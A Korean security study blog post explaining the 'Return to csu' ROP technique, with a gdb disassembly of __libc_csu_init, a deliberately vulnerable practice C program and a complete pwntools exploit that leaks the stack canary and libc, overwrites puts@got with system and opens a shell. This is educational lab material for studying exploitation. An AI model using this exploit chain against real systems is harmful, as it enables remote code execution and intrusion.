RTC : Return to csu

shrew·2025년 4월 21일

Return to csu

Concept

프로그램이 실행될 때, 우리가 보기에는 main 함수가 가장 먼저 실행되는 것 같지만 사실은 main 함수 이전에 수행되는 함수들이 있다. 대표적으로 우리가 stripped된 파일들에서 main 함수를 찾기 위해 사용하는 __libc_start_call_main 함수나 _start 함수를 예시로 들 수 있다. 이처럼 main 함수 이전에 실행되는 코드를 Startup code라고도 부른다. 이런 Startup code 중 __libc_csu_init 라는 함수를 이용하여 공격자가 원하는 동작을 수행시키는 기법을 'Return to csu' 라고 한다.

How to use

그렇다면 많고 많은 함수 중에서 해당 함수를 사용하는 이유는 무엇일까? 답은 __libc_csu_init 함수의 구조에 존재한다. 셸을 따기 위해서는 ROP를 비롯한 대부분의 공격 기법이 그렇듯 기본적으로 레지스터를 조작하고, 필요한 가젯을 구할 수 있어야 한다.

gef➤  disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x00000000004007f0 <+0>:	push   r15
   0x00000000004007f2 <+2>:	push   r14
   0x00000000004007f4 <+4>:	mov    r15,rdx
   0x00000000004007f7 <+7>:	push   r13
   0x00000000004007f9 <+9>:	push   r12
   0x00000000004007fb <+11>:	lea    r12,[rip+0x20060e]        # 0x600e10
   0x0000000000400802 <+18>:	push   rbp
   0x0000000000400803 <+19>:	lea    rbp,[rip+0x20060e]        # 0x600e18
   0x000000000040080a <+26>:	push   rbx
   0x000000000040080b <+27>:	mov    r13d,edi
   0x000000000040080e <+30>:	mov    r14,rsi
   0x0000000000400811 <+33>:	sub    rbp,r12
   0x0000000000400814 <+36>:	sub    rsp,0x8
   0x0000000000400818 <+40>:	sar    rbp,0x3
   0x000000000040081c <+44>:	call   0x400580 <_init>
   0x0000000000400821 <+49>:	test   rbp,rbp
   0x0000000000400824 <+52>:	je     0x400846 <__libc_csu_init+86>
   0x0000000000400826 <+54>:	xor    ebx,ebx
   0x0000000000400828 <+56>:	nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000400830 <+64>:	mov    rdx,r15
   0x0000000000400833 <+67>:	mov    rsi,r14
   0x0000000000400836 <+70>:	mov    edi,r13d
   0x0000000000400839 <+73>:	call   QWORD PTR [r12+rbx*8]
   0x000000000040083d <+77>:	add    rbx,0x1
   0x0000000000400841 <+81>:	cmp    rbp,rbx
   0x0000000000400844 <+84>:	jne    0x400830 <__libc_csu_init+64>
   0x0000000000400846 <+86>:	add    rsp,0x8
   0x000000000040084a <+90>:	pop    rbx
   0x000000000040084b <+91>:	pop    rbp
   0x000000000040084c <+92>:	pop    r12
   0x000000000040084e <+94>:	pop    r13
   0x0000000000400850 <+96>:	pop    r14
   0x0000000000400852 <+98>:	pop    r15
   0x0000000000400854 <+100>:	ret
End of assembler dump.

위는 gdb를 통해 확인해 본 __libc_csu_init 함수의 어셈블리어 명령어이다. 구조를 살펴보면 'libc_csu_init + 90' 부터 레지스터를 순서대로 pop 하고 있고, 'libc_csu_init + 64' 부터는 인자를 넣고, 함수를 부를 수 있다. 순서를 살펴보자.

  1. 스택에 원하는 값을 순서대로 넣는다.
  2. '__libc_csu_init + 90'부터 실행하면서 rbx, rbp, r12, r13, r14, r15 레지스터에 스택에 넣어놓은 값이 들어가게 한다.
  3. '__libc_csu_init + 64' 부분이 실행되면서 rdx, rsi, edi에 각각 r15, r14, r13의 하위 32bit 값들이 들어가게 된다. 이는 앞 순서에서 조종할 수 있는 값이므로 함수 인자도 조종할 수 있다.
  4. 'QWORD PTR [r12+rbx*8]' 주소에 있는 함수를 실행한다. 이것도 앞 순서에서 조작할 수 있다.

(rdi에 64bit 크기에 값을 넣을 때는 주의해야 하지만 사실 상 대부분의 주소는 상위 32bit가 어차피 0이다.)
따라서, 위와 같은 순서로 RTC 공격을 수행할 수 있다.

실습

Example code

[*] '/home/pdh/rop/rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

Exploit code

from pwn import *

p = remote('서버명', 포트 번호)
e = ELF('./rop')
libc = ELF('./libc.so.6')

def rtc_chain(func_ptr, arg1, arg2, arg3):
    return (
        p64(0) + p64(1) +
        p64(arg1) + p64(arg2) + p64(arg3) + p64(func_ptr) +
        p64(csu_init2)
    )

buf = b'A' * 57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))

read_got = e.got['read']
puts_got = e.got['puts']
bss = e.bss()

read_offset = libc.symbols['read']
system_offset = libc.symbols['system']

csu_init1 = 0x4012c2
csu_init2 = 0x4012a8
dummy = p64(0)

payload = b'A' * 56 + p64(canary) + b'B' * 8

# [puts(read@got)] → read libc 주소 leak
payload += p64(csu_init1)
payload += rtc_chain(puts_got, read_got, 0, 0)

# [read(0, bss, 8)] → /bin/sh 심기
payload += dummy
payload += rtc_chain(read_got, 0, bss, 8)

# [read(0, puts@got, 8)] → puts@got을 system으로 덮기
payload += dummy
payload += rtc_chain(read_got, 0, puts_got, 8)

# [puts(bss)] → 사실상 system(bss) 호출
payload += dummy
payload += rtc_chain(puts_got, bss, 0, 0)

p.sendafter("Buf: ", payload)

read_addr = u64(p.recvn(6) + b'\x00' * 2)
libc_base = read_addr - read_offset
system_addr = libc_base + system_offset

p.send(b"/bin/sh\x00")
p.send(p64(system_addr))
p.interactive()
profile
보안 공부 로그

0개의 댓글